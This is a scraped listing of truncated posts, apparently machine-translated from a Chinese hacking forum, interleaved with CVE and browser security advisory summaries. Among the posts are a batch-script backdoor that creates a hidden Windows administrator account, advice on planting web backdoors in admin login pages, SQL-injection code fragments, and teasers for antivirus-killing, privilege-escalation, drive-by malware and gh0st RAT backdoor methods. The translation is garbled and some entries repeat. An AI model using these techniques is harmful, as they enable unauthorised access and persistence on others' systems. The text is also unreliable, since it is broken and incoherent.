Multi-layer unzip the ZIP package to evade anti-virus-vulnerability warning-the black bar safety net

BK group of large cattle are in the discussion of the mollusc, suddenly thought of in the cloud Shu BLOG once saw a infinite unzip the bag to let the soft kill loop of the article, the article mentioned some of the stupid anti-virus may occur an infinite loop, so smart why not die? Because some...

New TLS/SSL3. 0 middle attack has been published-vulnerability warning-the black bar safety net

Just have the researchers published a method for the TLS/SSL man in the middle attack, the attack 1. exploitable operable relatively strong 2. Currently there is no solution, wait for the manufacturers of the patches. 3. The affected upper-layer protocols including HTTPS,IMAP, SIP, etc. Someone...

Buffer overflow

Buffer overflow in Softonic International SciTE 1.72 allows user-assisted remote attackers to cause a denial of service application crash via a Ruby .rb file containing a long string, which triggers the crash when a scroll bar is used...

CVE-2009-3857

Buffer overflow in Softonic International SciTE 1.72 allows user-assisted remote attackers to cause a denial of service application crash via a Ruby .rb file containing a long string, which triggers the crash when a scroll bar is used...

CVE-2009-3857

Buffer overflow in Softonic International SciTE 1.72 allows user-assisted remote attackers to cause a denial of service application crash via a Ruby .rb file containing a long string, which triggers the crash when a scroll bar is used...

CVE-2009-3857: Improper Restriction of Operations within the Bounds of a Memory Buffer

Buffer overflow in Softonic International SciTE 1.72 allows user-assisted remote attackers to cause a denial of service application crash via a Ruby .rb file containing a long string, which triggers the crash when a scroll bar is used...

the web leaving the back door-vulnerability warning-the black bar safety net

First: In the administrator backend login screen to hide our Backdoor, it is relatively safe Because the administrator of the inlet is not often traded, as long as his login screen on our back door just in! Of course, you also can be flexibly inserted into the other file, as long as this file is...

Woven dream management system Background The find-a vulnerability warning-the black bar safety net

Sometimes in the by injection to give the weave the dream program's administrative password, but found that can't find the backend address. This time we can try the following in the address followed by: the/include/dialog/selectmedia. php? f=form1. murl But not necessarily pass to kill it.. By:th...

Mozilla Foundation Security Advisory 2009-52

Mozilla Foundation Security Advisory 2009-52 Title: Form history vulnerable to stealing Impact: Moderate Announced: October 27, 2009 Reporter: Paul Stone Products: Firefox Fixed in: Firefox 3.5.4 Firefox 3.0.15 Description Security researcher Paul Stone reported that a user's form history, both...

Web fonts can be used to spoof the page address – Opera Security Advisories

In some cases, a Web font intended to be used for page content could be incorrectly used by Opera to render parts of the user interface, including the address field. This can be used by a malicious site to display a false domain name in the address field...

Form history vulnerable to stealing — Mozilla

Security researcher Paul Stone reported that a user's form history, both from web content as well as the smart location bar, was vulnerable to theft. A malicious web page could synthesize events such as mouse focus and key presses on behalf of the victim and trick the browser into auto-filling th...

Dedecms select_soft_post. php page the variables are not the initial vulnerability-vulnerability warning-the black bar safety net

Text/ Flyh4t Affected versions: Dedecms 5.5 漏洞 产生 文件 位于 include\dialog\selectsoftpost.php, which is the variable$cfgbasedir not initialized properly, can lead to spare Through the identity authentication and system variable initialization file, cause you can upload any file to the specified...

7 1 1 enterprise web site management program V6. 0 the presence of Cookies injection vulnerability-vulnerability warning-the black bar safety net

One: the dim keyword dim sortid keyword=request"keyword" sortid=request"sortid" if sortid"" then SQL where=SQL where &" and sortid="&sortid&"" if the keyword"" then SQL where=sqlwher &" and shopname like '%"&keyword&"%'" Set rs=Server. CreateObject"ADODB. RecordSet" strsql="select from Product...

Create can not detect and delete Backdoor-vulnerability warning-the black bar safety net

Source: ha0k Create can not detect and delete the backdoor Boot. bat @echo off net user ha0k ha0k /add net localgroup administrators ha0k /add Shutdown. bat @echo off net user ha0k /del Method of use: Start/Run/gpedit. msc Computer settings/windows Settings/scriptsstartup/shutdown Double-click th...

How to use MySQL elevation of privilege-vulnerability warning-the black bar safety net

Recently online exposes a MySQL Func vulnerability,talking about use MySQL to create a custom function,and then pass this function to attack the server. The earliest to see the relevant reports is in o-otik,but the announcement is for Unix systems Exploit,and the success rate is not very high. An...

dedecms(plus/feedback_js.php)injection vulnerability-vulnerability warning-the black bar safety net

Found by:Rainy'Fox&St0p Team:two fat network securityhttp://bbs.erpangzi.com Affected version: dedecms GBK 5.1 Vulnerability description: 文件 :plus/feedbackjs.php ifempty$arcID $row = $dlist-dsql-GetOne"Select id From @cachefeedbackurl where url='$arcurl' "; ifisarray$row $urlindex = $row'id'; Get...

Talking about the Ring0 privilege of obtain-vulnerability warning-the black bar safety net

Recently been trying to write a program to kill 3 6 0, but encountered a lot of trouble, even if elevated, the 能干 掉 Winlogon.exe 也 干 不 掉 360tray.exe depressed for half a day. Don't know 3 6 0 what weird means. Then find the Find the previous comparison of the bovine X-virus Panda burning incense...

Sina-and the news, etc. blog generic hang horse method+MP3 0day to use the tool-vulnerability warning-the black bar safety net

Article author: eskry Some time ago has been studying the site of violence promotion In the study by blogs violence when promoting a slightly. And share with you This will use a small tool Is a period of time before a lot of people said MP3 0day I wrote one to use the tool To a couple of friends ...

EASYNEWS news management system v1. 0 1 official version has multiple vulnerabilities-vulnerability warning-the black bar safety net

Source: San ㄗ Feng 訫 locks of love'S Blog EASYNEWS news management system v1. 0 1 official version has multiple vulnerabilities A ReadNews. asp requestNewsID=Request. QueryString"NewsID" 'pass to give the news numbers NewsID rs. Source="select from News where NewsID=" & amp; requestNewsID 'query...

gh0st plus the back door method-vulnerability warning-the black bar safety net

Plus the back door methods: 1. Download the program 2. if the computer restart the above run c code view source print? "?" 0 1.//------------------------------------ 0 2. a include 0 3. include //This can do not 0 4. a include //This can do not 0 5. include //This is the ShellExecute definition...